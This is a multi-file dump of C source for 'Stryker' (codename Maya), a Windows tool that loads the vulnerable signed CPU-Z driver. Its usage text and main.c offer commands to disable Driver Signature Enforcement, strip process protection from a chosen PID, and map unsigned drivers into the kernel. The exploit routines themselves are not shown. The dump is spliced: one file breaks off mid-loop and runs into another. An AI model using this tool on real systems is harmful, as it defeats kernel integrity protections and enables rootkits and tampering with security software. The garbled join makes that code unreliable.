81 | || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING;
82 |
83 | CloseServiceHandle(schService);
84 |
85 | return ret;
86 | }
87 |
88 | /*
89 | * scmOpenDevice
90 | *
91 | * Purpose:
92 | *
93 | * Open driver device by symbolic link.
94 | *
95 | */
96 | BOOL scmOpenDevice(
97 | _In_ LPCTSTR DriverName,
98 | _Inout_opt_ PHANDLE lphDevice
99 | )
100 | {
101 | TCHAR completeDeviceName[64];
102 | HANDLE hDevice;
103 |
104 | RtlSecureZeroMemory(completeDeviceName, sizeof(completeDeviceName));
105 | wsprintf(completeDeviceName, TEXT("\\\\.\\%s"), DriverName);
106 |
107 | hDevice = CreateFile(completeDeviceName,
108 | GENERIC_READ | GENERIC_WRITE,
109 | 0,
110 | NULL,
111 | OPEN_EXISTING,
112 | FILE_ATTRIBUTE_NORMAL,
113 | NULL
114 | );
115 | if (hDevice == INVALID_HANDLE_VALUE)
116 | return FALSE;
117 |
118 | if (lphDevice) {
119 | *lphDevice = hDevice;
120 | }
121 | else {
122 | CloseHandle(hDevice);
123 | }
124 |
125 | return TRUE;
126 | }
127 |
128 | /*
129 | * scmStopDriver
130 | *
131 | * Purpose:
132 | *
133 | * Command SCM to stop service, resulting in driver unload.
134 | *
135 | */
136 | BOOL scmStopDriver(
137 | _In_ SC_HANDLE SchSCManager,
138 | _In_ LPCTSTR DriverName
139 | )
140 | {
141 | BOOL ret;
142 | INT iRetryCount;
143 | SC_HANDLE schService;
144 | SERVICE_STATUS serviceStatus;
145 |
146 | ret = FALSE;
147 | schService = OpenService(SchSCManager, DriverName, SERVICE_ALL_ACCESS);
148 | if (schService == NULL) {
149 | return ret;
150 | }
151 |
152 | iRetryCount = 5;
153 | do {
154 | SetLastError(0);
155 |
156 | ret = ControlService(schService, SERVICE_CONTROL_STOP, &serviceStatus);
157 | if (ret != FALSE)
158 | break;
159 |
160 | if (GetLastError() != ERROR_DEPENDENT_SERVICES_RUNNING)
161 | break;
162 |
163 | Sleep(1000);
164 | iRetryCount--;
165 | } while (iRetryCount);
166 |
167 | CloseServiceHandle(schService);
168 |
169 | return ret;
170 | }
171 |
172 | /*
173 | * scmRemoveDriver
174 | *
175 | * Purpose:
176 | *
177 | * Remove service entry from SCM database.
178 | *
179 | */
180 | BOOL scmRemoveDriver(
181 | _In_ SC_HANDLE SchSCManager,
182 | _In_ LPCTSTR DriverName
183 | )
184 | {
185 | SC_HANDLE schService;
186 | BOOL bResult = FALSE;
187 |
188 | schService = OpenService(SchSCManager, DriverName, SERVICE_ALL_ACCESS);
189 | if (schService) {
190 | bResult = DeleteService(schService);
191 | CloseServiceHandle(schService);
192 | }
193 | return bResult;
194 | }
195 |
196 | /*
197 | * scmUnloadDeviceDriver
198 | *
199 | * Purpose:
200 | *
201 | * Combines scmStopDriver and scmRemoveDriver.
202 | *
203 | */
204 | BOOL scmUnloadDeviceDriver(
205 | _In_ LPCTSTR Name
206 | )
207 | {
208 | SC_HANDLE schSCManager;
209 | BOOL bResult = FALSE;
210 |
211 | if (Name == NULL) {
212 | return bResult;
213 | }
214 |
215 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
216 | if (schSCManager) {
217 | scmStopDriver(schSCManager, Name);
218 | bResult = scmRemoveDriver(schSCManager, Name);
219 | CloseServiceHandle(schSCManager);
220 | }
221 | return bResult;
222 | }
223 |
224 | /*
225 | * scmLoadDeviceDriver
226 | *
227 | * Purpose:
228 | *
229 | * Unload if already exists, Create, Load and Open driver instance.
230 | *
231 | */
232 | BOOL scmLoadDeviceDriver(
233 | _In_ LPCTSTR Name,
234 | _In_opt_ LPCTSTR Path,
235 | _Inout_ PHANDLE lphDevice
236 | )
237 | {
238 | SC_HANDLE schSCManager;
239 | BOOL bResult = FALSE;
240 |
241 | if (Name == NULL) {
242 | return bResult;
243 | }
244 |
245 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
246 | if (schSCManager) {
247 | scmRemoveDriver(schSCManager, Name);
248 | scmInstallDriver(schSCManager, Name, Path);
249 | scmStartDriver(schSCManager, Name);
250 | bResult = scmOpenDevice(Name, lphDevice);
251 | CloseServiceHandle(schSCManager);
252 | }
253 | return bResult;
254 | }
255 |
--------------------------------------------------------------------------------
/src/Maya/instdrv.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2015 - 2016, portions (C) Mark Russinovich, FileMon
4 | *
5 | * TITLE: INSTDRV.H
6 | *
7 | * VERSION: 1.44
8 | *
9 | * DATE: 17 July 2016
10 | *
11 | * Common header file for the program SCM usage.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #pragma once
20 |
21 | BOOL scmInstallDriver(
22 | _In_ SC_HANDLE SchSCManager,
23 | _In_ LPCTSTR DriverName,
24 | _In_opt_ LPCTSTR ServiceExe
25 | );
26 |
27 | BOOL scmStartDriver(
28 | _In_ SC_HANDLE SchSCManager,
29 | _In_ LPCTSTR DriverName
30 | );
31 |
32 | BOOL scmOpenDevice(
33 | _In_ LPCTSTR DriverName,
34 | _Inout_opt_ PHANDLE lphDevice
35 | );
36 |
37 | BOOL scmStopDriver(
38 | _In_ SC_HANDLE SchSCManager,
39 | _In_ LPCTSTR DriverName
40 | );
41 |
42 | BOOL scmRemoveDriver(
43 | _In_ SC_HANDLE SchSCManager,
44 | _In_ LPCTSTR DriverName
45 | );
46 |
47 | BOOL scmUnloadDeviceDriver(
48 | _In_ LPCTSTR Name
49 | );
50 |
51 | BOOL scmLoadDeviceDriver(
52 | _In_ LPCTSTR Name,
53 | _In_opt_ LPCTSTR Path,
54 | _Inout_ PHANDLE lphDevice
55 | );
56 |
--------------------------------------------------------------------------------
/src/Maya/irp.h:
--------------------------------------------------------------------------------
1 | /************************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018, translated from Microsoft sources/debugger
4 | *
5 | * TITLE: IRP.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Header file for IRP/STACK_LOCATION define.
12 | *
13 | * WARNING: structures opaque and incomplete.
14 | *
15 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
16 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
17 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
18 | * PARTICULAR PURPOSE.
19 | *
20 | ************************************************************************************/
21 | #pragma once
22 |
23 | typedef
24 | VOID
25 | (NTAPI *PIO_APC_ROUTINE) (
26 | _In_ PVOID ApcContext,
27 | _In_ PIO_STATUS_BLOCK IoStatusBlock,
28 | _In_ ULONG Reserved
29 | );
30 |
31 | typedef struct _IO_STACK_LOCATION {
32 | UCHAR MajorFunction;
33 | UCHAR MinorFunction;
34 | UCHAR Flags;
35 | UCHAR Control;
36 | //incomplete
37 | } IO_STACK_LOCATION, *PIO_STACK_LOCATION;
38 |
39 | typedef struct _KAPC {
40 | UCHAR Type;
41 | UCHAR SpareByte0;
42 | UCHAR Size;
43 | UCHAR SpareByte1;
44 | ULONG SpareLong0;
45 | struct _KTHREAD *Thread;
46 | LIST_ENTRY ApcListEntry;
47 | PVOID Reserved[3];
48 | PVOID NormalContext;
49 | PVOID SystemArgument1;
50 | PVOID SystemArgument2;
51 | CCHAR ApcStateIndex;
52 | KPROCESSOR_MODE ApcMode;
53 | BOOLEAN Inserted;
54 | } KAPC, *PKAPC, *PRKAPC;
55 |
56 | #pragma warning(push)
57 | #pragma warning(disable:4324) // structure padded due to __declspec(align())
58 | typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _IRP {
59 | CSHORT Type;
60 | USHORT Size;
61 | PVOID MdlAddress;
62 | ULONG Flags;
63 |
64 | union {
65 | struct _IRP *MasterIrp;
66 | __volatile LONG IrpCount;
67 | PVOID SystemBuffer;
68 | } AssociatedIrp;
69 |
70 | LIST_ENTRY ThreadListEntry;
71 | IO_STATUS_BLOCK IoStatus;
72 | KPROCESSOR_MODE RequestorMode;
73 | BOOLEAN PendingReturned;
74 | CHAR StackCount;
75 | CHAR CurrentLocation;
76 | BOOLEAN Cancel;
77 | KIRQL CancelIrql;
78 | CCHAR ApcEnvironment;
79 | UCHAR AllocationFlags;
80 | PIO_STATUS_BLOCK UserIosb;
81 | PVOID UserEvent;
82 | union {
83 | struct {
84 | union {
85 | PIO_APC_ROUTINE UserApcRoutine;
86 | PVOID IssuingProcess;
87 | };
88 | PVOID UserApcContext;
89 | } AsynchronousParameters;
90 | LARGE_INTEGER AllocationSize;
91 | } Overlay;
92 |
93 | __volatile PVOID CancelRoutine;
94 |
95 | PVOID UserBuffer;
96 |
97 | union {
98 |
99 | struct {
100 |
101 | union {
102 |
103 | KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
104 |
105 | struct {
106 | PVOID DriverContext[4];
107 | };
108 |
109 | };
110 |
111 | PVOID Thread;
112 | PCHAR AuxiliaryBuffer;
113 |
114 | struct {
115 |
116 | LIST_ENTRY ListEntry;
117 |
118 | union {
119 |
120 | struct _IO_STACK_LOCATION *CurrentStackLocation;
121 | ULONG PacketType;
122 | };
123 | };
124 |
125 | PVOID OriginalFileObject;
126 |
127 | } Overlay;
128 |
129 | //incomplete
130 |
131 | } Tail;
132 |
133 | } IRP;
134 | #pragma warning(pop)
135 |
136 | typedef IRP *PIRP;
137 |
138 | FORCEINLINE
139 | PIO_STACK_LOCATION
140 | IoGetCurrentIrpStackLocation(
141 | _In_ PIRP Irp
142 | )
143 | {
144 | return Irp->Tail.Overlay.CurrentStackLocation;
145 | }
146 |
--------------------------------------------------------------------------------
/src/Maya/ldr.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: LDR.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Loader support routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #include "global.h"
20 |
21 | /*
22 | * ldrGetProcAddress
23 | *
24 | * Purpose:
25 | *
26 | * Get NtOskrnl procedure address.
27 | *
28 | */
29 | ULONG_PTR ldrGetProcAddress(
30 | _In_ ULONG_PTR KernelBase,
31 | _In_ ULONG_PTR KernelImage,
32 | _In_ LPCSTR FunctionName
33 | )
34 | {
35 | ANSI_STRING cStr;
36 | ULONG_PTR pfn = 0;
37 |
38 | RtlInitString(&cStr, FunctionName);
39 | if (!NT_SUCCESS(LdrGetProcedureAddress((PVOID)KernelImage, &cStr, 0, (PVOID)&pfn)))
40 | return 0;
41 |
42 | return KernelBase + (pfn - KernelImage);
43 | }
44 |
45 | /*
46 | * ldrResolveKernelImport
47 | *
48 | * Purpose:
49 | *
50 | * Resolve import (ntoskrnl only).
51 | *
52 | */
53 | void ldrResolveKernelImport(
54 | _In_ ULONG_PTR Image,
55 | _In_ ULONG_PTR KernelImage,
56 | _In_ ULONG_PTR KernelBase
57 | )
58 | {
59 | PIMAGE_OPTIONAL_HEADER popth;
60 | ULONG_PTR ITableVA, *nextthunk;
61 | PIMAGE_IMPORT_DESCRIPTOR ITable;
62 | PIMAGE_THUNK_DATA pthunk;
63 | PIMAGE_IMPORT_BY_NAME pname;
64 | ULONG i;
65 |
66 | popth = &RtlImageNtHeader((PVOID)Image)->OptionalHeader;
67 |
68 | if (popth->NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_IMPORT)
69 | return;
70 |
71 | ITableVA = (ULONG_PTR)popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
72 | if (ITableVA == 0)
73 | return;
74 |
75 | ITable = (PIMAGE_IMPORT_DESCRIPTOR)(Image + ITableVA);
76 |
77 | if (ITable->OriginalFirstThunk == 0)
78 | pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->FirstThunk);
79 | else
80 | pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->OriginalFirstThunk);
81 |
82 | for (i = 0; pthunk->u1.Function != 0; i++, pthunk++) {
83 | nextthunk = (PULONG_PTR)(Image + ITable->FirstThunk);
84 | if ((pthunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) == 0) {
85 | pname = (PIMAGE_IMPORT_BY_NAME)((PCHAR)Image + pthunk->u1.AddressOfData);
86 | nextthunk[i] = ldrGetProcAddress(KernelBase, KernelImage, pname->Name);
87 | }
88 | else
89 | nextthunk[i] = ldrGetProcAddress(KernelBase, KernelImage, (LPCSTR)(pthunk->u1.Ordinal & 0xffff));
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/src/Maya/ldr.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: LDR.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Prototypes and definitions for loader support routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #pragma once
21 |
22 | ULONG_PTR ldrGetProcAddress(
23 | _In_ ULONG_PTR KernelBase,
24 | _In_ ULONG_PTR KernelImage,
25 | _In_ LPCSTR FunctionName);
26 |
27 | void ldrResolveKernelImport(
28 | _In_ ULONG_PTR Image,
29 | _In_ ULONG_PTR KernelImage,
30 | _In_ ULONG_PTR KernelBase);
31 |
--------------------------------------------------------------------------------
/src/Maya/main.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: MAIN.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Codename: Maya AL
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #include "global.h"
21 |
22 | #pragma data_seg("shrd")
23 | volatile LONG g_lApplicationInstances = 0;
24 | #pragma data_seg()
25 | #pragma comment(linker, "/Section:shrd,RWS")
26 |
27 | HANDLE g_hDevice = INVALID_HANDLE_VALUE;
28 | ULONG g_NtBuildNumber = 0;
29 |
30 | #define T_STRYKERINTRO TEXT("Stryker v1.0.0 started (c) 2018 Stryker Project\r\nSupported x64 OS : 7 (6.1 build 7600) and above\r\n")
31 | #define T_STRYKERUNSUP TEXT("\r\n[!] Unsupported WinNT version\r\n")
32 | #define T_STRYKERRUN TEXT("\r\n[!] Another instance running, close it before\r\n")
33 | #define T_STRYKERINVCMD TEXT("\r\n[!] Invalid command or parameters\r\n")
34 |
35 | #define T_STRYKERUSAGE TEXT("\r\nUsage: stryker Mode [Command]\r\n\n\
36 | Parameters: \r\n\
37 | Stryker -dse off - disable Driver Signature Enforcement\r\n\
38 | Stryker -dse on - enable Driver Signature Enforcement\r\n\
39 | Stryker -prot pid - disable ProtectedProcess for given pid\r\n\
40 | Stryker -load filename - map your specially created driver\r\n")
41 |
42 | #define CMDS_MAX 3
43 | #define CMDS_INVALID 4
44 | PCWSTR CMDS[] = { TEXT("-dse"), TEXT("-prot"), TEXT("-load") };
45 |
46 | BOOL LoadAndOpenDrvInternal()
47 | {
48 | WCHAR szBuffer[MAX_PATH * 2];
49 |
50 | supPrintText(TEXT("\r\n[+] Loading CPU-Z driver..."));
51 |
52 | _strcpy(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer);
53 | _strcat(szBuffer, CPUZDRV);
54 | _strcat(szBuffer, TEXT(".sys"));
55 |
56 | if (!RtlDoesFileExists_U(szBuffer)) {
57 | supPrintText(TEXT("\r\n[!] Driver file not found in the current directory"));
58 | return FALSE;
59 | }
60 |
61 | if (!scmOpenDevice(CPUZDRV, &g_hDevice)) {
62 | if (!scmLoadDeviceDriver(CPUZDRV, szBuffer, &g_hDevice)) {
63 | supShowError(GetLastError(), TEXT("Cannot load driver"));
64 | return FALSE;
65 | }
66 | else {
67 | supPrintText(TEXT("\r\n[+] CPU-Z driver loaded"));
68 | }
69 | }
70 | return (g_hDevice != INVALID_HANDLE_VALUE);
71 | }
72 |
73 | BOOL LoadAndOpenDrv()
74 | {
75 | LoadAndOpenDrvInternal();
76 | if (g_hDevice == INVALID_HANDLE_VALUE) {
77 | supPrintText(TEXT("\r\n[!] Cannot open CPU-Z device"));
78 | return FALSE;
79 | }
80 | else {
81 | supPrintText(TEXT("\r\n[+] CPU-Z device opened"));
82 | return TRUE;
83 | }
84 | }
85 |
86 | BOOL ParseCommandLine()
87 | {
88 | BOOL EnableDSE = FALSE;
89 | ULONG Length;
90 | LPWSTR CommandLine = GetCommandLineW();
91 | WCHAR szCmdBuffer[MAX_PATH * 2];
92 |
93 | UINT i, c = CMDS_INVALID;
94 |
95 | ULONG_PTR ProcessId;
96 |
97 | RtlSecureZeroMemory(szCmdBuffer, sizeof(szCmdBuffer));
98 | if (!GetCommandLineParam(CommandLine, 1, szCmdBuffer, MAX_PATH, &Length)) {
99 | supPrintText(T_STRYKERUSAGE);
100 | return FALSE;
101 | }
102 |
103 | if (Length == 0) {
104 | supPrintText(T_STRYKERUSAGE);
105 | return FALSE;
106 | }
107 |
108 | for (i = 0; i < CMDS_MAX; i++) {
109 | if (_strcmpi(szCmdBuffer, CMDS[i]) == 0) {
110 | c = i;
111 | break;
112 | }
113 | }
114 |
115 | if (c == CMDS_INVALID) {
116 | supPrintText(T_STRYKERINVCMD);
117 | return FALSE;
118 | }
119 |
120 | // query 2nd parameter
121 | RtlSecureZeroMemory(szCmdBuffer, sizeof(szCmdBuffer));
122 | if (!GetCommandLineParam(CommandLine, 2, szCmdBuffer, MAX_PATH, &Length)) {
123 | supPrintText(T_STRYKERINVCMD);
124 | return FALSE;
125 | }
126 |
127 | if (Length == 0) {
128 | supPrintText(T_STRYKERINVCMD);
129 | return FALSE;
130 | }
131 |
132 | switch (c) {
133 |
134 | case 0: // dse
135 |
136 | if (_strcmpi(szCmdBuffer, TEXT("on")) == 0) {
137 | EnableDSE = TRUE;
138 | }
139 | else {
140 | if (_strcmpi(szCmdBuffer, TEXT("off")) == 0)
141 | EnableDSE = FALSE;
142 | else {
143 | supPrintText(T_STRYKERINVCMD);
144 | break;
145 | }
146 | }
147 |
148 | supPrintText(TEXT("\r\n[+] DSE Control Mode"));
149 |
150 | if (!LoadAndOpenDrv())
151 | return FALSE;
152 |
153 | return ControlDSE(EnableDSE);
154 | break;
155 |
156 | case 1: // prot
157 |
158 | if ((g_NtBuildNumber < 9600) || (g_NtBuildNumber > 16299)) {
159 | supPrintText(T_STRYKERUNSUP);
160 | break;
161 | }
162 |
163 | ProcessId = strtou64(szCmdBuffer);
164 | if (ProcessId == 0) {
165 | supPrintText(T_STRYKERINVCMD);
166 | break;
167 | }
168 |
169 | supPrintText(TEXT("\r\n[+] Process Control Mode"));
170 |
171 | if (!LoadAndOpenDrv())
172 | return FALSE;
173 |
174 | return ControlProcess(ProcessId);
175 | break;
176 |
177 | case 2: // load
178 |
179 | supPrintText(TEXT("\r\n[+] Driver Mapping Mode"));
180 |
181 | if (!LoadAndOpenDrv())
182 | return FALSE;
183 |
184 | return MapDriver(szCmdBuffer);
185 | break;
186 |
187 | default:
188 | break;
189 | }
190 |
191 | return FALSE;
192 | }
193 |
194 | /*
195 | * main
196 | *
197 | * Purpose:
198 | *
199 | * Program entry point.
200 | *
201 | */
202 | void main()
203 | {
204 | BOOL bCond = FALSE;
205 | LONG x;
206 | OSVERSIONINFO osv;
207 | WCHAR szBuffer[MAX_PATH * 2];
208 |
209 | do {
210 | supPrintText(T_STRYKERINTRO);
211 | x = InterlockedIncrement((PLONG)&g_lApplicationInstances);
212 | if (x > 1) {
213 | supPrintText(T_STRYKERRUN);
214 | break;
215 | }
216 |
217 | RtlSecureZeroMemory(&osv, sizeof(osv));
218 | osv.dwOSVersionInfoSize = sizeof(osv);
219 | RtlGetVersion((PRTL_OSVERSIONINFOW)&osv);
220 | if ((osv.dwBuildNumber < 7600) || (osv.dwBuildNumber > 16299)) {
221 | supPrintText(T_STRYKERUNSUP);
222 | break;
223 | }
224 |
225 | g_NtBuildNumber = osv.dwBuildNumber;
226 |
227 | _strcpy(szBuffer, TEXT("Current Windows version: "));
228 | ultostr(osv.dwMajorVersion, _strend(szBuffer));
229 | _strcat(szBuffer, TEXT("."));
230 | ultostr(osv.dwMinorVersion, _strend(szBuffer));
231 | _strcat(szBuffer, TEXT(" build "));
232 | ultostr(osv.dwBuildNumber, _strend(szBuffer));
233 | supPrintText(szBuffer);
234 |
235 | if (!ParseCommandLine())
236 | break;
237 |
238 | } while (bCond);
239 |
240 | if (g_hDevice != INVALID_HANDLE_VALUE) {
241 | supPrintText(TEXT("\r\n[+] Unloading CPU-Z driver"));
242 | CloseHandle(g_hDevice);
243 | scmUnloadDeviceDriver(CPUZDRV);
244 | supPrintText(TEXT("\r\n[+] Exit"));
245 | }
246 |
247 | InterlockedDecrement((PLONG)&g_lApplicationInstances);
248 | ExitProcess(0);
249 | }
250 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/_filename.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "minirtl.h"
3 |
4 | char *_filename_a(const char *f)
5 | {
6 | char *p = (char *)f;
7 |
8 | if (f == 0)
9 | return 0;
10 |
11 | while (*f != (char)0) {
12 | if (*f == '\\')
13 | p = (char *)f + 1;
14 | f++;
15 | }
16 | return p;
17 | }
18 |
19 | wchar_t *_filename_w(const wchar_t *f)
20 | {
21 | wchar_t *p = (wchar_t *)f;
22 |
23 | if (f == 0)
24 | return 0;
25 |
26 | while (*f != (wchar_t)0) {
27 | if (*f == (wchar_t)'\\')
28 | p = (wchar_t *)f + 1;
29 | f++;
30 | }
31 | return p;
32 | }
33 |
34 | char *_fileext_a(const char *f)
35 | {
36 | char *p = 0;
37 |
38 | if (f == 0)
39 | return 0;
40 |
41 | while (*f != (char)0) {
42 | if (*f == '.')
43 | p = (char *)f;
44 | f++;
45 | }
46 |
47 | if (p == 0)
48 | p = (char *)f;
49 |
50 | return p;
51 | }
52 |
53 | wchar_t *_fileext_w(const wchar_t *f)
54 | {
55 | wchar_t *p = 0;
56 |
57 | if (f == 0)
58 | return 0;
59 |
60 | while (*f != (wchar_t)0) {
61 | if (*f == (wchar_t)'.')
62 | p = (wchar_t *)f;
63 | f++;
64 | }
65 |
66 | if (p == 0)
67 | p = (wchar_t *)f;
68 |
69 | return p;
70 | }
71 |
72 | char *_filename_noext_a(char *dest, const char *f)
73 | {
74 | char *p, *l, *dot;
75 |
76 | if ((f == 0) || (dest == 0))
77 | return 0;
78 |
79 | p = _filename_a(f);
80 | if (p == 0)
81 | return 0;
82 |
83 | dot = _strend_a(p);
84 | if (dot == 0)
85 | return 0;
86 |
87 | l = p;
88 |
89 | while (*l != (char)0)
90 | {
91 | if (*l == '.')
92 | dot = l;
93 | l++;
94 | }
95 |
96 | while (p0) );
26 |
27 | return (int)(c1 - c2);
28 | }
29 |
30 | int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars)
31 | {
32 | wchar_t c1, c2;
33 |
34 | if ( s1==s2 )
35 | return 0;
36 |
37 | if ( s1==0 )
38 | return -1;
39 |
40 | if ( s2==0 )
41 | return 1;
42 |
43 | if ( cchars==0 )
44 | return 0;
45 |
46 | do {
47 | c1 = *s1;
48 | c2 = *s2;
49 | s1++;
50 | s2++;
51 | cchars--;
52 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) );
53 |
54 | return (int)(c1 - c2);
55 | }
56 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/_strncmpi.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars)
4 | {
5 | char c1, c2;
6 |
7 | if ( s1==s2 )
8 | return 0;
9 |
10 | if ( s1==0 )
11 | return -1;
12 |
13 | if ( s2==0 )
14 | return 1;
15 |
16 | if ( cchars==0 )
17 | return 0;
18 |
19 | do {
20 | c1 = locase_a(*s1);
21 | c2 = locase_a(*s2);
22 | s1++;
23 | s2++;
24 | cchars--;
25 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) );
26 |
27 | return (int)(c1 - c2);
28 | }
29 |
30 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars)
31 | {
32 | wchar_t c1, c2;
33 |
34 | if ( s1==s2 )
35 | return 0;
36 |
37 | if ( s1==0 )
38 | return -1;
39 |
40 | if ( s2==0 )
41 | return 1;
42 |
43 | if ( cchars==0 )
44 | return 0;
45 |
46 | do {
47 | c1 = locase_w(*s1);
48 | c2 = locase_w(*s2);
49 | s1++;
50 | s2++;
51 | cchars--;
52 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) );
53 |
54 | return (int)(c1 - c2);
55 | }
56 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/_strncpy.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc)
4 | {
5 | char *p;
6 |
7 | if ( (dest==0) || (src==0) || (ccdest==0) )
8 | return dest;
9 |
10 | ccdest--;
11 | p = dest;
12 |
13 | while ( (*src!=0) && (ccdest>0) && (ccsrc>0) ) {
14 | *p = *src;
15 | p++;
16 | src++;
17 | ccdest--;
18 | ccsrc--;
19 | }
20 |
21 | *p = 0;
22 | return dest;
23 | }
24 |
25 | wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc)
26 | {
27 | wchar_t *p;
28 |
29 | if ( (dest==0) || (src==0) || (ccdest==0) )
30 | return dest;
31 |
32 | ccdest--;
33 | p = dest;
34 |
35 | while ( (*src!=0) && (ccdest>0) && (ccsrc>0) ) {
36 | *p = *src;
37 | p++;
38 | src++;
39 | ccdest--;
40 | ccsrc--;
41 | }
42 |
43 | *p = 0;
44 | return dest;
45 | }
46 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/_strstri.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | char *_strstri_a(const char *s, const char *sub_s)
4 | {
5 | char c0, c1, c2, *tmps, *tmpsub;
6 |
7 | if (s == sub_s)
8 | return (char *)s;
9 |
10 | if (s == 0)
11 | return 0;
12 |
13 | if (sub_s == 0)
14 | return 0;
15 |
16 | c0 = locase_a(*sub_s);
17 | while (c0 != 0) {
18 |
19 | while (*s != 0) {
20 | c2 = locase_a(*s);
21 | if (c2 == c0)
22 | break;
23 | s++;
24 | }
25 |
26 | if (*s == 0)
27 | return 0;
28 |
29 | tmps = (char *)s;
30 | tmpsub = (char *)sub_s;
31 | do {
32 | c1 = locase_a(*tmps);
33 | c2 = locase_a(*tmpsub);
34 | tmps++;
35 | tmpsub++;
36 | } while ((c1 == c2) && (c2 != 0));
37 |
38 | if (c2 == 0)
39 | return (char *)s;
40 |
41 | s++;
42 | }
43 | return 0;
44 | }
45 |
46 | wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s)
47 | {
48 | wchar_t c0, c1, c2, *tmps, *tmpsub;
49 |
50 | if (s == sub_s)
51 | return (wchar_t *)s;
52 |
53 | if (s == 0)
54 | return 0;
55 |
56 | if (sub_s == 0)
57 | return 0;
58 |
59 | c0 = locase_w(*sub_s);
60 | while (c0 != 0) {
61 |
62 | while (*s != 0) {
63 | c2 = locase_w(*s);
64 | if (c2 == c0)
65 | break;
66 | s++;
67 | }
68 |
69 | if (*s == 0)
70 | return 0;
71 |
72 | tmps = (wchar_t *)s;
73 | tmpsub = (wchar_t *)sub_s;
74 | do {
75 | c1 = locase_w(*tmps);
76 | c2 = locase_w(*tmpsub);
77 | tmps++;
78 | tmpsub++;
79 | } while ((c1 == c2) && (c2 != 0));
80 |
81 | if (c2 == 0)
82 | return (wchar_t *)s;
83 |
84 | s++;
85 | }
86 | return 0;
87 | }
88 |
--------------------------------------------------------------------------------
/src/Maya/minirtl/cmdline.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | BOOL GetCommandLineParamW(
4 | IN LPCWSTR CmdLine,
5 | IN ULONG ParamIndex,
6 | OUT LPWSTR Buffer,
7 | IN ULONG BufferSize,
8 | OUT PULONG ParamLen
9 | )
10 | {
11 | ULONG c, plen = 0;
12 | TCHAR divider;
13 |
14 | if (ParamLen != NULL)
15 | *ParamLen = 0;
16 |
17 | if (CmdLine == NULL) {
